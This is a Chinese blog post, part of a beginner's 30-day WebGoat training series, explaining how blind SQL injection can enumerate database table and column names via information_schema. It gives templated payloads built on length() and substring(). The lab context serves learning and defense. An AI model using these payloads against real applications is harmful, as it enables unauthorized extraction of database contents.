iT邦幫忙

2026 iThome 鐵人賽

DAY 9
0
Security

仿生人是否會夢見網頁山羊? 資安小白的30天Webgoat闖關紀錄系列 第 9

[DAY9]仿生人是否會夢見網頁山羊?-- SQL Blind Injection 2

  • 分享至 

  • xImage
  •  

雖然解完了blind injection,但總覺得......好像哪裡怪怪的,有點不太blind的感覺,覺得好像太順利了
所以,今天要來寫有關blind injection時可能會需要去驗出的東西
然後說是好聽的sql blind injection plus, 其實就是介紹一些可以查資料表其他資料的參數
因為我發現webgoat sql blind injection那裏好像找不到表格名稱,完全沒辦法繼續

首先,要來介紹我們的新東西information_schema
他主要是用來查詢關於資料庫的結構資訊的,例如說TABLES(資料表資訊) COLUMNS(欄位資訊) 等等

information_schema.TABLES 用來查詢資料表格的索引資料E.g.TABLE_NAME表格名,TABLE_ROWS表格列數,TABLE_SCHEMA所屬資料庫名稱
information_schema.COLUMNS 記錄所有資料表中欄位的詳細資訊E.g COLUMN_NAME欄位名稱 DATA_TYPE資料類別 等等

查詢資料表格名稱

我們可以先從length開始,length可以讓我們知道表格名稱字元長度

' AND length((SELECT table_name FROM information_schema.tables WHERE table_schema=current_database() LIMIT 1 OFFSET 第幾張表)) = 表格字數 --

這裡剛好也展示了一個技巧,length, substring之類的函式裡面是可以塞SELECT的,只是要用()包起來

current_database()可以讓我們在不知道資料庫名稱的情況下選擇當前的資料庫

LIMIT是用來選擇表格的,用法是LIMIT 選取幾筆 OFFSET 跳過幾筆

接著,我們能用之前一樣的Substring查詢資料庫表格名稱

' AND substring((SELECT table_name FROM information_schema.tables WHERE table_schema=current_database() LIMIT 1 OFFSET 第幾張表), 第幾個字, 1)) = '字元'

查詢欄位名稱

我們不一定知道欄位的名稱,例如一個PASSWORD有可能被寫成passwd, paswd之類的形式,所以我們也要把它測試出來,測試方法和之前基本上一樣

欄位名稱字元長度

' AND length((SELECT column_name FROM information_schema.columns WHERE table_name = '表格名稱' LIMIT 1 OFFSET 第幾欄)) = 欄位字數;--

測試欄位名稱確切字元

' AND substring((SELECT column_name FROM information_schema.columns WHERE table_name = '表格名稱' LIMIT 1 OFFSET 第幾欄),第幾個字,1) = '字元';--

基本上都一樣,只是要 SELECT 的東西變成 column_name, 然後是從 information_schema.columns 這個表中撈出資料

明日內容:SQL injection防禦


上一篇
[DAY8]仿生人是否會夢見網頁山羊?--SQL Blind injection
系列文
仿生人是否會夢見網頁山羊? 資安小白的30天Webgoat闖關紀錄9
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言